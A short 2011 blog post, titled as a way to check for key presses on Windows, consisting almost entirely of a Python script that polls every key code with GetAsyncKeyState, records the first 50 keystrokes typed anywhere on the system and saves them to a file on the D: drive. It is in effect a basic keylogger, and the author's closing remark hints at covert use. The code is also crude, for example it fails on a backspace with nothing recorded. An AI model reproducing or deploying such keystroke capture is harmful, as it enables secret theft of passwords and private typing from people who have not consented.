Tuesday, January 4, 2011

Check for a Key press ; windows ;

import win32api
import time
f=open("D:\\key.txt","w")
keys=[]
            
while len(keys)<50: # Just record the first 50 key presses
    for i in range(1, 256):
        if win32api.GetAsyncKeyState(i):
            if i==8: # 8 is the backspace character.
                keys.pop()
            else:
                keys.append(chr(i))
        time.sleep(0.1)  

for key in keys:
    f.write(key)

f.close()

## If you can understand this code u probably know what it really does and
## hence should not use it !!

No comments:

Post a Comment